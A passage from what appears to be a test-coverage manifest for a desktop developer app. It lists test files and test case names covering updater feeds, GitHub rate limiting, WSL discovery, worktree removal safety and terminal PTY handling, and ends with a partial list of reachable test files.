classify a non-positive tag limit as feed unavailability; reproduces the v1.4.142 publishing incident as not-ready; reports transport failures as unavailable instead of not-ready; treats an explicit asset 404 as not-ready when another asset is unavailable; accepts absolute manifest asset URLs without rewriting them to release asset paths; returns not-ready with an older ready update as last-good while newest is publishing. src/main/updater/releases/updater-release-builds.test.ts: lists hourly builds from the dedicated repo, newest first; lists daily builds from the dedicated repo, newest first; separates stable from rc in the shared main repo; skips drafts and unparseable tags; keeps a composed release title and drops one that repeats the tag; hides builds that published no artifact for this platform; returns an empty list when no build has this platform artifact; keeps mac builds visible on macOS regardless of the Windows leg; resolves the platform installer download url; leaves the installer url null when the release published no installer; tolerates a release whose assets are missing or malformed; sends the local gh token as a bearer header when one is available; sends no authorization header when gh has no token; retries unauthenticated once when GitHub rejects the token; does not retry a 401 that was already unauthenticated; falls back to the per-IP bucket when the token is rate limited and tells the gh breaker; reports a secondary limit carrying retry-after without retrying or tripping the breaker; records a primary limit in the token scope %s; keeps %s authenticated when only %s is blocked; skips the token while its scope %s is blocked; surfaces a rate limit with its reset time and a sign-in hint when unauthenticated; omits the sign-in hint when the rate-limited request was authenticated; treats 429 as a rate limit; reports a 403 without rate-limit headers as a plain HTTP error; reports a missing hourly repo distinctly; is null when GitHub sent no reset; prefers retry-after over the primary reset epoch; falls back to the primary reset epoch when there is no retry-after; reads retry-after as seconds; reads retry-after as an HTTP date; pins an hourly tag at the hourly repo download path; pins a daily tag at the daily repo download path; pins a stable tag at the main repo download path; rejects a tag that is not a version. src/main/updater/updater.build-channel-selection.test.ts: uses the display label in the unsupported-platform %s pinned-build error; still pins %s from an unsigned Windows dev build; restores ordinary release checks after local build selection fails; opts into the RC channel when checkForUpdatesFromMenu is called with includePrerelease; pins the generic feed to a perf-tagged prerelease when requested; surfaces no-update feedback when no newer perf-tagged prerelease exists; keeps prerelease publishing-window misses on the generic retry path; leaves the feed URL alone for a normal user-initiated check. src/main/updater/updater.check-preflight.test.ts: ignores a stale update-not-available event after a new check starts preflight; deduplicates repeated manual checks while the immediate checking status is active. src/main/updater/updater.prerelease-fallback.test.ts: retries a prerelease check once against the previous feed tag when the manifest is missing; surfaces a promise-only prerelease fallback failure after the primary error event. src/main/updater/updater.publishing-window-feed.test.ts: repins the generic feed to the newest RC tag for a prerelease user; repins the generic feed to a newer stable tag for a prerelease user; pins a stable fallback when Atom has no newer prerelease; uses last-good concrete feed when a user-initiated check lands during publishing; can offer an older fully published update while the newest release is publishing; keeps background publishing-window fallback on the short retry cadence. src/main/updater/updater.quit-and-install.test.ts: surfaces an accepted retry before electron-updater emits download progress; defers quitAndInstall and runs its launcher within the launch PATH scope; runs pre-quit cleanup before local PTY cleanup during update install; keeps optional pre-quit cleanup fail-and-continue behavior by default; ignores duplicate quitAndInstall requests while the shared delay is pending; arms the forced-exit watchdog once the install commits; disarms the forced-exit watchdog when sync install error recovery keeps the app open. src/main/window/createMainWindow-markdown-editor-focus.test.ts: ignores traffic light sync IPC on non-macOS; still intercepts Cmd+Shift+B and Cmd+Alt+B when the markdown editor is focused; coerces non-boolean setMarkdownEditorFocused payloads to false; opens a table-aware context menu synchronously without a renderer query; builds the plain edit menu for the one right-click the renderer marks as plain text. src/main/window/createMainWindow-renderer-crash-recovery.test.ts: notifies the caller when the renderer process is gone; passes the renderer webContents id through crash recording and recovery callbacks; forwards expected renderer teardowns so the recorder can diagnose suppression; reloads the app shell after an unexpected renderer process loss; does not reload after renderer loss when recovery is disabled; stops auto-reloading after a rapid renderer crash loop trips the breaker. src/main/window/dashboard-popout-window.test.ts: updates the title after language initialization and unsubscribes when closed; lets its preload expose saved WSL hosts in serve-only, and passes nothing otherwise; creates a native-frame window with the shared preload and no webview surface; shows the window on ready-to-show; loads the prod file entry; loads the dev server URL when in dev; focuses the existing window instead of creating a second one; trusts only the live popout webContents; restores a minimized window when re-requested; restores valid persisted bounds; discards off-screen persisted bounds and falls back to defaults; persists bounds on resize after the debounce, guarding near-minimum sizes; keeps saving bounds after a vetoed quit and freezes them only on an allowed quit; closeDashboardPopout closes an open window; applies the persisted app zoom level on dom-ready; follows app zoom changes while open and unsubscribes on close; zoomDashboardPopoutIfFocused steps the popout zoom only while focused; handles the zoom-in chord via before-input-event and ignores other keys; handles mouse-wheel zoom requests outside before-input-event; respects zoom keybinding overrides for keyboard and mouse-wheel paths. src/main/window/dropped-path-preparation.test.ts: opens and stores each unique source once as drop size grows tenfold; passes ordinary paths without copying for %s; preserves ordinary successes and copied successes when another file fails; serializes copy requests from different owners; reports all lost paths without a shared reason when their failures differ. src/main/window/main-window-updater-deferred-setup.test.ts: releases all 64 completed fallback handles without repeating initialization; keeps setup after ready-to-show and releases its fallback afterward; preserves the 15-second fallback when first paint never arrives; preserves destroyed-window guard reads before and at the fallback deadline; keeps the exact %s error and releases its completed fallback; keeps the exact fallback %s error without retrying initialization; preserves pending manual setup after failed ready registration; keeps setup options, live store reads, nudge writes and required quit flush. src/main/worker-threads/worker-thread-request-queue.test.ts: posts one request at a time and in the order it was dispatched; fires a posted call at its own deadline; stops respawning and fails the rest of the queue once deaths hit the cap; clears the death count when a fresh burst starts from full idle. src/main/workspace-hooks/hooks-setup-runner-script.test.ts: builds Windows runners for newline-heavy scripts without line-array splitting; builds POSIX runners without regex-wide CRLF normalization; writes POSIX setup runners for shebang-declared scripts on native Windows paths; keeps batch setup scripts on cmd.exe when the terminal is Git Bash; hands a Git Bash pane a launch command MSYS cannot rewrite for a cmd runner; replays interpreter flags declared on the shebang line; preserves cmd.exe setup runner semantics for configured cmd users; keeps POSIX runner behavior on POSIX platforms; waits when either local or project policy requires completed setup; marks setup-runner terminals for the always-on credential guard; maps git-bash to POSIX setup launch metadata on Windows; falls back to the cmd runner when the git-bash setting has no installed Git Bash; keeps the cmd runner for a non-Git bash such as Cygwin; keeps the cmd runner for a bare bash whose flavor cannot be resolved; uses the POSIX runner for a bare bash that resolves to Git Bash; uses the POSIX runner for an extension-less Git Bash path; preserves the existing cmd runner for PowerShell terminals; preserves cmd setup compatibility when a Windows-host project has a WSL shell setting; classifies an installed explicit Git Bash executable as a POSIX runner; falls back to the cmd runner when the explicit Git Bash path no longer exists. src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts: schedules remote identity enrichment without blocking the caller; probes a drive project whose runtime is WSL %s; sweeps a local repo: %s; probes an SSH row that carries only executionHostId on its own host; keeps same-path rows on two different SSH hosts from sharing one backoff; coalesces concurrent probes for the same repo location; caches no-identity probes briefly so list calls do not retry every time; does not rewrite the no-remote marker on a later retry; resolves a settled no-remote repo once it gains a remote; does not re-probe a resolved identity before the refresh window elapses; re-probes a resolved identity after the refresh window elapses; bounds re-probes per sweep so a large repo list drains gradually; forgets a removed repo location so its deadline cannot outlive the repo; keeps a surviving repo backoff when a sibling repo is removed; probes again when the same location is re-added after its probe was retired; coalesces concurrent sweeps instead of running one pass per list call. src/main/workspaces/creation/preparation/worktree-create-preparation.test.ts: preserves create priority through claim probes on %s; starts the checkout only once the async workspace root resolves; still deduplicates when both callers await the same pending root lookup; namespaces native Windows preparation directories for long paths; deduplicates preparation for the same repo, base, runtime, and workspace root; does not spend a divergence walk when the base matches exactly; claims when the two sides spell the same ref differently; evicts a repo's own stale preparation before another repo's; still discards armed checkouts when the project runtime needs repair; routes preparation and finalization through the selected WSL runtime; retries stale cleanup after a transient listing failure; does not discard a detached worktree with caller-controlled preparation metadata; does not re-arm after an isolated create; re-arms a preparation once creates arrive in a burst; holds the re-arm checkout until the create runs the deferred thunk; starts one explicit prefetch after the create completes; does not re-arm when finalization failed; reports a pending create while a stale-cleanup scan is running. src/main/workspaces/removal/local-worktree-removal-recovery.test.ts: recovers Git for Windows partial filesystem deletion failures; finishes a clean non-force deletion after Git leaves a Windows directory behind; recovers localized Windows failures after Git already removed the registration; does not recover unrelated localized failures while Git still owns the row; finishes a macOS deletion Git deregistered before failing with Directory not empty; leaves an orphaned checkout to the orphan cleanup instead of deleting it; prunes and strictly verifies on the selected WSL host without deleting files or branches. src/main/workspaces/removal/worktree-removal-safety.test.ts: rejects deleting a worktree that contains another registered worktree; rejects POSIX home directories even when host homedir has a different path shape; refuses a home the host reported even when no path rule recognises it; refuses the Windows host's home directory from a POSIX client; refuses the Windows host's home directory even when the host reported nothing. src/main/wsl/discovery/distro-catalog.test.ts: retries asynchronous discovery after a transient wsl.exe failure; retries synchronous discovery after a transient wsl.exe failure; retries asynchronous discovery after wsl.exe reports no distros yet; retries synchronous discovery after wsl.exe reports no distros yet; bounds the wsl.exe spawn rate while no distros are installed; bounds the asynchronous spawn rate while no distros are installed; still caches a non-empty distro list for the process lifetime; re-probes a docker-desktop-only machine once a user distro can appear; backs off while the list keeps coming back empty; backs off after repeated distro-list failures; caps the empty-list backoff at five minutes; keeps reporting an empty result after it goes stale; keeps reporting a known distro list indefinitely; bounds cached homes while retaining the most recently used distros; still lists distros, and an excluded distro home probe fails like any other probe; gives the async home probe time for a cold boot instead of killing it at 5 s; retries availability after a probe timeout instead of latching false; bounds the probe rate while the failure window is open; caches a successful probe for the process lifetime; names an explicit spawn directory, so no deleted cwd can read as ENOENT; shares one wsl.exe spawn between concurrent probes; keeps reporting the last observed answer after it goes stale; holds a definitive failure far longer than a timeout when %s; backs off after repeated probe failures; re-probes a seeded retryable failure once its window lapses; re-probes availability once a distro list succeeds after %s; does not drop an availability failure for an empty distro list; keeps reporting unavailable off Windows without probing. src/main/wsl/discovery/wsl-distro-holder.test.ts: runs a busybox-safe loop through --exec and names the distro; spawns a detached-style holder, records it, and waits for the distro to run; a holder exiting with code 1 notes its distro may have stopped (E9); rejects a pid whose command line is not our holder for that distro; cleans up stale and corrupt records; keeps a holder and its record when release cannot verify it; reports unverifiable when the command line is unreadable even with a matching pid; release kills a verified holder and removes its record; release never kills a pid that is no longer our holder; reports a spawned holder exit so liveness can re-check. src/main/wsl/filesystem/wsl-guest-drive-mountinfo.test.ts: skips 9p shares that are not drvfs, and malformed lines. src/main/wsl/orcad/wsl-orcad-deploy-app-update.test.ts: plans the update on the census the running orcad reports, not an unknown one; forwards force to the update planner; does not serve the incumbent past a refusal that is not a wait; does not re-activate the build this host rolled back from; labels the launch with the build the adoption found serving, not the stale record; defers while another run holds the host fence; lets an explicit force deploy past both skips; names a newer host refusal apart from a rolled-back one, so only Force is offered; updates an older host as before, without asking to adopt it; never asks the incumbent when it already runs this build. src/renderer/src/components/agent/agent-launch-picker-acquisition.test.ts: keeps a completed listing usable when the host rejects the wait parameter. src/renderer/src/components/feature-tips/feature-tip-telemetry.test.ts: delivers to chat-default users in all targeting while holding out not-switched users. src/renderer/src/components/native-chat/composer/pickers/use-native-chat-side-chat-command.test.ts: completes the row on a pick, even when the command is already typed; ignores a pick of the row while side chats are unavailable. src/renderer/src/components/native-chat/media/images/native-chat-image-copy.test.ts: explains a too-large refusal that arrives through the IPC error prefix. src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.test.ts: keeps the question with the caller and says once that it never went; tells the user to check the side chat when delivery is unconfirmed; reports a delivered question as sent, silently. src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-fork-point.test.ts: decides each of %i tool-only turns once per layout, and nothing without a listener. src/renderer/src/components/native-chat/messages/actions/use-native-chat-fork.test.tsx: places a side chat whose question was %s: %o. src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.test.ts: calls back once for %s; stops watching once unsubscribed. src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode2031-raw-subscription.spec.ts: records a mode 2031 subscribe from the raw chunk boundary without answering. src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-deferred-input-forwarding.spec.ts: routes terminal input through deferPtyInput so the host can withhold it; forwards terminal input directly when the host supplies no deferPtyInput. src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts: forwards onBell to pane attention and notification policy; hands the bell to the attention module with its pane even when pane attention is off. src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-dropped-output-snapshot-healing.spec.ts: repaints from the main-owned snapshot when main drops pending output at the cap. src/renderer/src/components/terminal-pane/pty-connection/output/pty-connection-fresh-native-follow-reset.spec.ts: retries a fresh-spawn native follow reset when renderer dimensions return. src/renderer/src/components/terminal-pane/pty-connection/spawn/unbound-pane-spawn-recovery.test.ts: requests a tab remount for an unbound spawn; leaves recovery to a remote transport that armed its own retry; requests a remount when the transport reports no recovery of its own; settles the spawn as failed before requesting a remount; prefers the restored leaf id when reporting the anomaly; falls back to the pane leaf id when no restored leaf exists. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionDeferredInputForwardingTests } from '../input/pty-connection-deferred-input-forwarding.spec', registerPtyConnectionDeferredInputForwardingTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts: structural support changed only; no new authored removal credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionFreshNativeFollowResetTests } from '../output/pty-connection-fresh-native-follow-reset.spec', registerPtyConnectionFreshNativeFollowResetTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionTerminalBellAttentionTests } from '../notifications/pty-connection-terminal-bell-attention.spec', registerPtyConnectionTerminalBellAttentionTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-delivery-interest.test.ts: registers interest on the first sidecar and releases on the last unsubscribe; releases sidecar interest only once for repeated unsubscribes; does not let an eager pre-mount buffer defeat hidden delivery gating; keeps eager buffers outside delivery interest when the PTY exits before mount; lets a sidecar exclusively own interest while an eager buffer overlaps. src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-push-reattach.test.ts: blackholed delivery reproduces the wedge: no handler dispatch, no ACK ever. src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-opencode-model.test.ts: sends preferences to the execution host and attaches only to its returned PTY; preserves one operation ID across a lost reply and reconnect; preserves ordinary raw startup and captured-session attachment. src/renderer/src/components/terminal-pane/pty-transport/output/pty-side-effect-pending-census.test.ts: sums registered gauges and drops disposed ones; ignores a repeated dispose instead of dropping another gauge; stops tracking new gauges past the cap so a missed dispose cannot grow it; tracks a live output processor queue through enqueue, drain, and dispose; excludes cleared consumed entries from retention after a bounded drain. src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts: says nothing once the pane is closed. src/renderer/src/components/terminal-pane/render-health/terminal-webgl-atlas-recovery.test.ts: refreshes after each scheduled atlas reset; falls back to a timeout when animation frames are unavailable; continues recovery when a manager throws after scheduling. src/renderer/src/components/terminal-pane/snapshots/pty-buffer-serializer.test.ts: tracks a remounted quiet title source even when the stale owner unregisters later; preserves the renderer-parsed output sequence in the response; preserves a pending escape tail for snapshot replay; routes a host's Reset Terminal request to the pane that owns the PTY. src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.test.ts: marks panes with restored scrollback for fresh-shell viewport blanking. src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts: recovers a 0x0 spawn whose container is briefly unmeasurable then settles. src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts: removes global listeners when the last pane unregisters. src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx: keeps trust text readable on a host-owned dialog surface; applies the hostile surface to ordinary dialogs, so the case above is exercised. src/renderer/src/components/use-terminal-parking-pass.test.tsx: does not queue a render when a pass produces the same parking sets; keeps parking transitions working under StrictMode. src/renderer/src/hooks/client-workspace-view-report.test.ts: reports an away user’s screen with no presence, and renews as soon as input returns; retries a failed send, empty or not, no sooner than a refresh. src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge-placement.test.ts: is new work in a workspace with no live terminal: its first bind moves it up in Recent. src/renderer/src/hooks/use-bundled-skill-install.test.tsx: ignores a repeated click while the install runs; retries the last requested skills on this host. src/renderer/src/hooks/useGitHubSlugMetadata.assignee-reuse.test.tsx: adds seeds to a successful empty list but not to loading or failed results; retains seed projection after expiry and fetches fresh metadata for a new reader. src/renderer/src/hooks/useSettingsNavigationMetadata.language-switch.test.tsx: retranslates the settings nav labels when the UI language changes live. src/renderer/src/lib/codex-stale-pane-account-identity.test.ts: keeps the prompt when the roster read fails and every label collapses. src/renderer/src/lib/image-blob-png.test.ts: downscales a pasted image above the pixel cap; releases its temporary URL on a decode error; releases its temporary URL when PNG encoding fails or exceeds the byte cap. src/renderer/src/lib/react-commit-cascade-store-write-samples.test.ts: names callers above the frame the write came from; restores Error.stackTraceLimit when the capture throws; stops collecting after the sample cap when captureStackTrace is unavailable; caps reported changed keys from a single wide write. src/renderer/src/lib/work-items/linear/linear-issue-context-snapshot.test.ts: applies the rendered text hard cap last and reserves the final overflow marker. src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.test.ts: keeps the runtime target identity stable across unrelated store writes. src/renderer/src/runtime/source-control/git/runtime-git-branch-client.test.ts: keeps creation available on old hosts and explains the missing operation; preserves landed warnings and direct collision recovery data; propagates remote discovery failure instead of a false empty page. src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-key-reuse.test.ts: reuses unchanged worktree tab projections when one worktree title changes; bumps only the changed worktree version when a sibling stays byte-identical. src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts: shares safe-auto fork sync cooldown attempts across store instances. src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-batch.test.ts: collapses a 193-workspace hydration to one store write; leaves the store byte-identical to the per-workspace path; re-reconciling the batched result is a no-op, as it is for the per-workspace path. src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-fixture.ts: dedicated zero-case helper retirement; no authored test credit. src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.test.ts: persists each batch metadata update to its workspace owner. src/renderer/src/store/slices/worktrees/metadata/worktree-meta-rename.test.ts: dismisses a rename error on its capable remote owner; clears pending first-agent rename when the title is updated. src/renderer/src/store/terminals/store-sleep-shutdown-order.test.ts: orders capture, guards, handlers, main's stop, commit, cleanup, and exit settlement. src/renderer/src/store/terminals/terminal-first-tab-publication.test.ts: publishes the first terminal and root tab group atomically; publishes the first terminal and root tab group atomically, then marks it starting in main. src/renderer/src/store/terminals/workspace-terminal-reconnect-hydration.test.ts: restores daemon terminal wake hints before declaring the session ready. src/renderer/src/web/web-runtime-connection-auth-framing.test.ts: keeps legacy framing for sockets that cannot absorb a refused attempt. src/shared/terminal/appearance/terminal-font-weight-windows-regular.test.ts: moves the old Windows default to Regular once and queues the notice; keeps custom weights and fresh profiles without a notice; leaves macOS and Linux profiles untouched. tests/e2e/claude-agent-row-view.unit.test.ts: updates a mounted compact workflow description through the subscribed production parent; bounds upstream active-SSH visits for $population records, fallback=$fallback; derives %s destinations without requiring type or a workflow child ID; terminates a $path parent $status with no third request or intermediate toast; does not recover a first child %s. tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts: keeps exact legacy ordering when structured creation cannot express afterTabId; can create a terminal without selecting the target worktree; preserves the legacy fresh-agent path when host authority is unavailable. tests/e2e/paired-instant-browser-tab.spec.ts: shows a paired browser tab before its create RPC resolves, then keeps it as one tab; adopts a paired browser tab without rebuilding its chrome. tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts: bounds host publication and renderer application across remote worktrees; globally caps decorative freshness while every working status stays fresh. tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts: bounds saved-order publication selection at N and 10N without rematerializing navigation; bounds admitted placement reconciliation during supported reads at N and 10N; bounds selection input visits at 50 and 500 rows, including unavailable-target projection; keeps publication scoped to a changed worktree and shared by listeners at N and 10N; bounds preserved-chat merge and runtime-owned hydration at N and 10N (legacy=%s); bounds actual native retirement and shared delivery work at N and 10N. tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts: does not substitute a preserved row for an unavailable explicit legacy selection; resolves main-layout group selection %s (omitted group=%s). tests/e2e/structured-agent-session-launch-admission.unit.test.ts: opens a direct caller's terminal with the caller's own CLI arguments on a decline; opens the chat on the server that admitted it; opens only the terminal when this machine declines, without a notice; opens a new agent tab's terminal with the typed prompt when the caller names none; opens the chat, not a terminal, when this machine cannot resolve a new workspace yet; keeps its terminal fallback, as before. tests/e2e/structured-attention-prompt-relay.unit.test.ts: settles once per relayed prompt, not on every later status update. tests/e2e/structured-attention-read-retirement.unit.test.ts: Mark read on a chat never opened withdraws the prompt alert it surfaced; Mark read on a chat hidden since an earlier view covers the newer prompt it surfaced; reads a newly accepted visible prompt without sending an RPC for text-only updates. tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts: counts real raw stores, unrelated window publications and captured cleanup at %i chats; counts complete supplied-member sweep and separate final retirement at S=%i N=%i. tests/e2e/structured-session-workspace-authority.unit.test.ts: bounds actual target reveal across %i repo roots and metadata aliases. tests/e2e/terminal-agent-pane-launch.unit.test.ts: starts the host's planned command once, at the pane's size, and says it started; plans a pane whose prompt the window submits without the startup update prompt; preserves caller shell-ready delivery only for a connection-scoped adapter ($connectionId); starts no shell on plan failure (original failure: $returnLaunchFailure); cannot confirm a start whose provider answer was lost. tests/e2e/terminal-parked-memory.spec.ts: releases renderer terminal memory when hidden tabs park. tests/e2e/terminal-shortcuts.spec.ts: @headful Codex-like background output stays visible without disabling WebGL in auto mode; Shift with Russian layout text reaches the PTY as Cyrillic under kitty keyboard reporting. tests/e2e/terminal-split-activation-latency.spec.ts: records attributed CWD, spawn, bind, fixture-ready, input, and echo phases. tests/e2e/terminal-split-activation-latency-phases.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-main-probe.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-artifact.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-report.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-tab-switch-visual-restore.spec.ts: restores skipped hidden Grok output on light tab resume. tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts: delivers independent %s effort through the real prepared web callback; keeps same-ID local and runtime worktrees on the selected runtime owner; creates paired web agents through host authority so activation is mirrored; delivers generated continuation context after host-authoritative creation; seeds the chat composer for a draft that rode in on the launch command. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/main/persistence/worktree-sort-order-write.test.ts, src/main/runtime/construction/orca-runtime.test.ts, src/main/runtime/orca-runtime-tests/targeting-and-resilience.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-04.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-03.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-02.spec.ts, src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases-part-02.spec.ts, src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases.spec.ts, src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts, src/main/runtime/orca-runtime-tests/worktree-setup-and-startup.spec.ts, src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-13.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-12.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-11.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-10.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-08.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-05.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-05.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-04.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-12.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-11.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-10.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-09.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-07.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-06.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness.spec.ts, src/main/runtime/orca-runtime-tests/headless-snapshots.spec.ts, src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-02.spec.ts, src/main/runtime/orca-runtime-tests/local-worktree-creation-part-02.spec.ts, src/main/runtime/orca-runtime-tests/local-worktree-creation.spec.ts, src/main/runtime/integrations/skill/orca-runtime-skill-recovery.test.ts, src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-detached-routing.spec.ts, src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-delivery.test.ts, src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-pointer-cli-command.spec.ts, src/main/runtime/rpc/methods/terminal/terminal-multiplex-link-estimate.test.ts, src/main/runtime/rpc/methods/terminal/terminal-snapshot-scrollback-rows.test.ts, src/main/runtime/rpc/server/pairing/network/windows-default-route-interfaces.test.ts, src/main/runtime/rpc/server/pairing/pairing-offer-owner-cli.test.ts, src/main/runtime/rpc/terminal-multiplex-end-verdict.test.ts, src/main/runtime/session-graph/headless-runtime-graph.spec.ts, src/main/runtime/session-graph/runtime-graph-standing-contracts.test.ts, src/main/runtime/session-tabs/structured-conversation-tab-title.test.ts, src/main/runtime/session-tabs/terminal-close-observed-exit.test.ts, src/main/runtime/terminal/identity/terminal-identity-probe.test.ts, src/main/runtime/terminal/layout/paired-desktop-server-writes-layout-owner.test.ts, src/main/runtime/terminal/lifecycle/pty-lifecycle-generation-retention.test.ts, src/main/runtime/terminal/lifecycle/run-terminal-user-open.test.ts, src/main/runtime/terminal/surface/terminal-surface-replies-window.test.ts, src/main/runtime/terminal/surface/workspace-layout-projection.test.ts, src/main/runtime/terminal/view/terminal-subscribe-exit-waiter-leak.test.ts, src/main/runtime/terminal/wait/orca-runtime-exact-worker-provider-session.test.ts, src/main/runtime/terminal/wait/prime-agent-screen-readiness-transcripts.test.ts, src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts, src/main/runtime/workspaces/startup/runtime-worktree-startup-readiness.test.ts, src/main/skills/skill-install-transaction.test.ts, src/main/speech/model-manager-download-resume.test.ts, src/main/ssh/config/ssh-config-parser.test.ts, src/main/ssh/config/ssh-known-hosts-source.test.ts, src/main/ssh/config/ssh-known-hosts.test.ts, src/main/ssh/connection/ssh-connect-config.test.ts, src/main/ssh/connection/ssh-connection-auth-fallback.test.ts, src/main/ssh/connection/ssh-connection-store.test.ts, src/main/ssh/connection/ssh-connection.test.ts, src/main/ssh/orcad-migration-stuck-host-profiles.test.ts, src/main/ssh/orcad-runtime-maintenance.test.ts, src/main/ssh/port-forwarding/ssh-port-forward.test.ts, src/main/ssh/ssh-channel-multiplexer.test.ts, src/main/ssh/system-transport/system-ssh-forward-process.test.ts, src/main/ssh/system-transport/system-ssh-loopback-route.test.ts, src/main/startup/browser-process-user-agent-ordering.test.ts, src/main/startup/quit/quit-path-durable-write-blocking.test.ts, src/main/stats/agent-session-transition-recorder.test.ts, src/main/text-generation/commit-message-text-generation-model-discovery.test.ts, src/main/text-generation/pull-request-context.test.ts, src/main/text-generation/source-control-local-process.test.ts, src/main/updater/linux-package/linux-package-update-recovery.test.ts, src/main/updater/releases/updater-prerelease-feed-readiness.test.ts, src/main/updater/releases/updater-release-builds.test.ts, src/main/updater/updater.build-channel-selection.test.ts, src/main/updater/updater.check-preflight.test.ts, src/main/updater/updater.prerelease-fallback.test.ts, src/main/updater/updater.publishing-window-feed.test.ts, src/main/updater/updater.quit-and-install.test.ts, src/main/window/createMainWindow-markdown-editor-focus.test.ts, src/main/window/createMainWindow-renderer-crash-recovery.test.ts, src/main/window/dashboard-popout-window.test.ts, src/main/window/dropped-path-preparation.test.ts, src/main/window/main-window-updater-deferred-setup.test.ts, 